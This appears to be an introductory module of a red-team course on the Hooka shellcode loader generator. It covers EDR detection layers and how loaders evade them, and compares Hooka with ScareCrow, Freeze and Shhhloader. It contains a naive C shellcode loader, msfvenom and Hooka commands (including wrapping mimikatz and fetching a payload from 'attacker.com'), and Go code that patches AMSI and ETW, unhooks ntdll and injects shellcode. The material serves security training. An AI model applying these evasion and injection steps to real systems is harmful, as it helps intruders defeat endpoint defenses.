Module 1: Introduction to Shellcode Loaders
Generate, evade, inject, execute — the four-word story of every loader.
Module Objective
This module introduces the concept of shellcode loaders, explains why they exist in the context of modern endpoint security, and provides a comprehensive overview of Hooka — a Go-based shellcode loader generator and library by D3Ext. By the end, you will understand the loader lifecycle, the detection layers loaders must defeat, and how Hooka compares to other popular tools in the space.
1. What Is a Shellcode Loader?
A shellcode loader is a program whose sole purpose is to take raw shellcode (position-independent machine code), place it into executable memory, and transfer control to it. The shellcode itself typically establishes a C2 channel (e.g., a Cobalt Strike Beacon or Meterpreter session), but it cannot run on its own — it needs a host process and memory to live in.
Every shellcode loader follows a three-stage lifecycle:
The Shellcode Loader Lifecycle
msfvenom, Cobalt Strike, Sliver, etc.
Encrypt, obfuscate, unhook, patch
Allocate memory, write, run
Stage 1 produces the raw payload. Stage 2 wraps it in layers of protection so it survives the gauntlet of security products. Stage 3 gets the shellcode into memory and hands off execution. A loader is only as good as the weakest link in this chain.
The Simplest Possible Loader
At its most basic, a loader allocates RWX memory, copies shellcode into it, and calls it as a function pointer. This works but is trivially detected:
C// Naive loader - detected by every AV/EDR
unsigned char shellcode[] = { 0xfc, 0x48, 0x83, ... };
void* mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)(); // jump to shellcode
This approach fails because: (a) the shellcode bytes are visible in the binary, (b) RWX memory is a red flag, (c) VirtualAlloc with execute permissions triggers EDR hooks, and (d) there is no obfuscation or evasion whatsoever.
2. Why Loaders Exist: EDR Detection Layers
Modern Endpoint Detection and Response (EDR) solutions deploy multiple overlapping detection layers. A loader must survive all of them, not just one:
| Detection Layer | When It Fires | What It Looks For | Loader's Counter |
|---|---|---|---|
| Static Scanning | On disk, before execution | Known signatures, suspicious byte patterns, high entropy sections | Encryption, obfuscation, code signing |
| Dynamic Analysis | During execution in sandbox | API call sequences, process behavior, network callbacks | Sandbox detection, delayed execution, anti-debug |
| Behavioral Monitoring | Runtime, continuous | Suspicious API chains (alloc → write → exec), process injection patterns | Syscalls, unhooking, callback-based execution |
| Memory Scanning | Periodic or on-demand | RWX pages, unbacked executable memory, known shellcode patterns | No-RWX, sleep encryption, permission toggling |
The Fundamental Problem
Shellcode in memory is inherently suspicious. Raw machine code sitting in a newly allocated memory region with execute permissions does not look like normal program behavior. Every serious loader must address this by combining encryption (hide the payload on disk and in memory), injection techniques (avoid obvious allocation patterns), and unhooking (remove the EDR's ability to observe API calls).
3. Introducing Hooka
Hooka is a Go-based shellcode loader generator and library created by D3Ext. What makes Hooka unique is its dual-purpose architecture: it functions both as a CLI tool that generates complete loader executables and as a fully importable Go package (pkg/hooka) with 40+ exported functions that you can use in your own custom tooling.
Key Differentiator
Most tools in this space are either a CLI generator (like ScareCrow) or a code library. Hooka is both. You can use the CLI for quick loader generation, or import the library for surgical control over individual techniques. The library exposes every injection method, encryption algorithm, syscall helper, and evasion function as a standalone, reusable Go function.
How Hooka Works at a High Level
Hooka Generation Pipeline
.bin / PE / DLL / URL
AES / 3DES / RC4 / XOR
6 CLI / 14 lib methods
Unhook, AMSI, ETW, sandbox
EXE or DLL
The CLI accepts shellcode from a file, a PE executable (converts to shellcode via sRDI), a DLL (also sRDI-converted), or a remote URL. It then applies the selected encryption algorithm, wraps the decryption-and-injection logic in Go source code using the chosen technique, layers on evasion features, and compiles the result into a Windows EXE or DLL.
4. Feature Overview
Hooka packs an extensive feature set into a single tool. Here is a summary of its major capabilities:
| Category | Feature | Count / Details |
|---|---|---|
| Injection (CLI) | SuspendedProcess, ProcessHollowing, NtCreateThreadEx, EtwpCreateEtwThread, NtQueueApcThreadEx, QueueUserApc | 6 methods |
| Injection (Library) | All CLI methods + CreateRemoteThread, RtlCreateUserThread, UuidFromString, Fibers, EnumSystemLocales, Callbacks, Halo's Gate variants, and more | 14 methods |
| Encryption | AES-256-CFB, 3DES-CFB, RC4, XOR | 4 algorithms |
| Unhooking | Classic (per-function), Full DLL (.text replacement), Perun's Fart (ntdll) | 3 methods |
| Sandbox Detection | CPU count, RAM size, disk size, hostname, drivers, processes, username, domain-joined, internet connectivity | 9 checks |
| Patching | AMSI (2 methods), ETW (2 methods) | 4 patches |
| Process Protection | ACG Guard, BlockDLLs policy, Phant0m (EventLog thread kill) | 3 features |
| Other | API hashing (MD5/SHA1/SHA256), code signing, sRDI conversion, custom sleep, Shikata Ga Nai encoding | Various |
5. Hooka vs The Competition
Several other tools occupy the same space as Hooka. This comparison highlights where each tool excels:
| Feature | Hooka | ScareCrow | Freeze | Shhhloader |
|---|---|---|---|---|
| Language | Go | Go | Go | Python (generates Nim/C#) |
| Output Formats | EXE, DLL | EXE, DLL, JS, HTA, CPL | EXE, DLL | EXE |
| Injection Methods | 6 CLI / 14 library | 3 | 2 (CreateThread, shellcode) | 3 |
| Encryption | AES, 3DES, RC4, XOR | AES | None (obfuscation-based) | AES, XOR |
| Unhooking | 3 methods (Classic, Full, Perun's) | 1 (disk-based) | Suspended process (avoids hooks) | 1 (syscalls) |
| Syscalls | Direct + Hell/Halo/Tartarus Gate | Indirect syscalls | Indirect syscalls | SysWhispers |
| Sandbox Detection | 9 checks | Domain-check only | None | Limited |
| Importable Library | Yes (40+ functions) | No | No | No |
| Unique Feature | Full Go library + API hashing + Phant0m | Code signing + multiple output formats | Minimal footprint + suspended process focus | Nim/C# polyglot output |
Why Choose Hooka?
Hooka's primary advantage is flexibility. If you need a quick loader, the CLI generates one in seconds. If you are building custom tooling and need a specific injection technique combined with a specific encryption algorithm and custom evasion logic, you import the Go library and call exactly the functions you need. No other tool in this comparison offers both modes of operation.
6. Source Code Structure
Understanding Hooka's repository layout helps you navigate the codebase for the rest of this course:
TextHooka/
+-- cmd/
| +-- hooka/
| +-- main.go # CLI entry point, flag parsing
| +-- banner.go # ASCII banner and version info
+-- pkg/
| +-- hooka/
| +-- hooka.go # Core loader generation logic
| +-- injection.go # All injection technique implementations
| +-- syscalls.go # Direct syscalls, SSN resolution
| +-- gates.go # Hell's Gate, Halo's Gate, Tartarus' Gate
| +-- unhook.go # Classic, Full DLL, Perun's Fart unhooking
| +-- patching.go # AMSI and ETW patching functions
| +-- sandbox.go # All 9 sandbox detection checks
| +-- encryption.go # AES, 3DES, RC4, XOR implementations
| +-- hashing.go # API hashing (MD5, SHA1, SHA256)
| +-- process.go # Process enumeration, Phant0m
| +-- utils.go # Helper functions
| +-- evasion.go # ACG Guard, BlockDLLs, sleep
| +-- srdi.go # Shellcode Reflective DLL Injection
| +-- signing.go # Code signing utilities
| +-- types.go # Struct definitions and constants
| +-- callbacks.go # Callback-based execution methods
+-- examples/ # Example usage of the Go library
+-- build/ # Build scripts and Makefile
+-- go.mod # Go module definition
+-- go.sum # Dependency checksums
The pkg/hooka/ directory contains 16 source files and is where all the real logic lives. Each file groups related functionality, making it straightforward to find the implementation of any specific technique.
The maldev Companion Library
Hooka depends on github.com/D3Ext/maldev, a separate Go library by the same author that provides low-level Windows API wrappers, PE parsing utilities, and helper functions. When you see Hooka calling functions like maldev.GetPEB() or maldev.ReadRemoteMemory(), those come from this companion library. Understanding maldev is not required for this course but can be helpful for deeper exploration.
7. Setting Up Your Lab
Before proceeding to hands-on modules, ensure you have a suitable environment:
Lab Requirements
- Go 1.20+ installed (Hooka is written in Go and requires the Go toolchain for compilation)
- Windows VM for testing generated loaders (preferably Windows 10/11 with Defender disabled or in test mode)
- Linux/macOS host for running the Hooka CLI (cross-compilation to Windows is supported)
- Git to clone the repository:
git clone https://github.com/D3Ext/Hooka - Shellcode source (msfvenom, Sliver, or any C2 framework that outputs raw shellcode)
Bash# Clone and build Hooka
git clone https://github.com/D3Ext/Hooka
cd Hooka
go build -o hooka ./cmd/hooka/
# Verify installation
./hooka --help
# Generate test shellcode with msfvenom
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
Safety Warning
All techniques in this course are intended for authorized security testing, red team operations, and educational purposes only. Never use shellcode loaders against systems you do not have explicit written permission to test. Generated loaders should only be executed in isolated lab environments.
8. Quick Start: Your First Loader
To illustrate how Hooka works end-to-end, here is the simplest possible CLI invocation that generates a working loader:
Bash# Generate a calc.exe shellcode payload
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
# Generate a loader with default settings:
# Injection: SuspendedProcess
# Encryption: AES
# AMSI patching: enabled
# ETW patching: enabled
./hooka -i calc.bin -o loader.exe
# Or generate a DLL instead of an EXE
./hooka -i calc.bin -o loader.dll --dll
# Use process hollowing with RC4 encryption
./hooka -i calc.bin -o loader.exe -t ProcessHollowing -e rc4
# Enable API hashing for additional stealth
./hooka -i calc.bin -o loader.exe --hashing
# Convert a PE executable to shellcode (sRDI) and wrap it
./hooka -i mimikatz.exe -o loader.exe --pe
# Load shellcode from a remote URL
./hooka -i http://attacker.com/payload.bin -o loader.exe --url
What Happens Under the Hood
When you run ./hooka -i calc.bin -o loader.exe, Hooka performs these steps internally:
- Reads the raw shellcode from
calc.bin - Generates a random AES-256 key and encrypts the shellcode
- Produces Go source code that embeds the encrypted shellcode, the key, and the decryption routine
- Adds AMSI patching code (calls
PatchAmsi()at startup) - Adds ETW patching code (calls
PatchEtw()at startup) - Wraps the decrypted shellcode in the SuspendedProcess injection technique
- Cross-compiles the Go source to a Windows PE executable
- Writes the final binary to
loader.exe
The generated executable is a standalone Windows binary with no external dependencies. When executed on the target, it patches AMSI, patches ETW, decrypts the shellcode in memory, creates a suspended process, writes the shellcode, and resumes the thread.
9. Using Hooka as a Go Library
Beyond the CLI, you can import Hooka as a Go package and call individual functions. This is the library mode that sets Hooka apart from every other tool in its class:
Gopackage main
import (
"fmt"
"os"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main() {
// Read raw shellcode
sc, _ := os.ReadFile("calc.bin")
// Encrypt with AES
key := hooka.RandomBytes(32)
encrypted, _ := hooka.AesEncrypt(sc, key)
// Patch AMSI and ETW before doing anything suspicious
hooka.PatchAmsi()
hooka.PatchEtw()
// Unhook ntdll to remove EDR visibility
hooka.PerunsUnhook()
// Decrypt and inject
decrypted, _ := hooka.AesDecrypt(encrypted, key)
hooka.NtCreateThreadEx(decrypted)
fmt.Println("Shellcode executed")
}
Library Advantages
The library mode lets you mix and match techniques that the CLI does not support. For example, you could combine Fibers injection with 3DES encryption and Perun's Fart unhooking — a combination not available through the CLI flags. You can also integrate Hooka's functions into larger tooling frameworks, red team automation pipelines, or custom C2 implant builders.
10. Course Roadmap
This course is structured to build understanding progressively. Here is what each module covers and why the order matters:
Module Progression
| Module | Topic | Why It's Here |
|---|---|---|
| 1 (this) | Introduction & Overview | Foundation: understand the problem space and tool landscape |
| 2 | Injection Techniques | Core skill: how shellcode gets into memory and executes |
| 3 | Syscalls & Gates | Evasion foundation: bypassing userland hooks at the API level |
| 4 | Unhooking & Patching | Active evasion: removing EDR hooks and disabling telemetry |
| 5 | Sandbox & Process Protection | Environmental evasion: detecting analysis and protecting the process |
| 6 | Encryption & Obfuscation | Payload protection: hiding shellcode from static and memory analysis |
| 7 | The Hooka Go Library | Integration: using pkg/hooka programmatically for custom tools |
| 8 | CLI Generator & Full Chain | Mastery: combining everything into real-world loader generation |
Knowledge Check
Q1: What are the three stages of the shellcode loader lifecycle?
Q2: What makes Hooka unique compared to tools like ScareCrow and Freeze?
Q3: Which EDR detection layer inspects memory at runtime for RWX pages and shellcode patterns?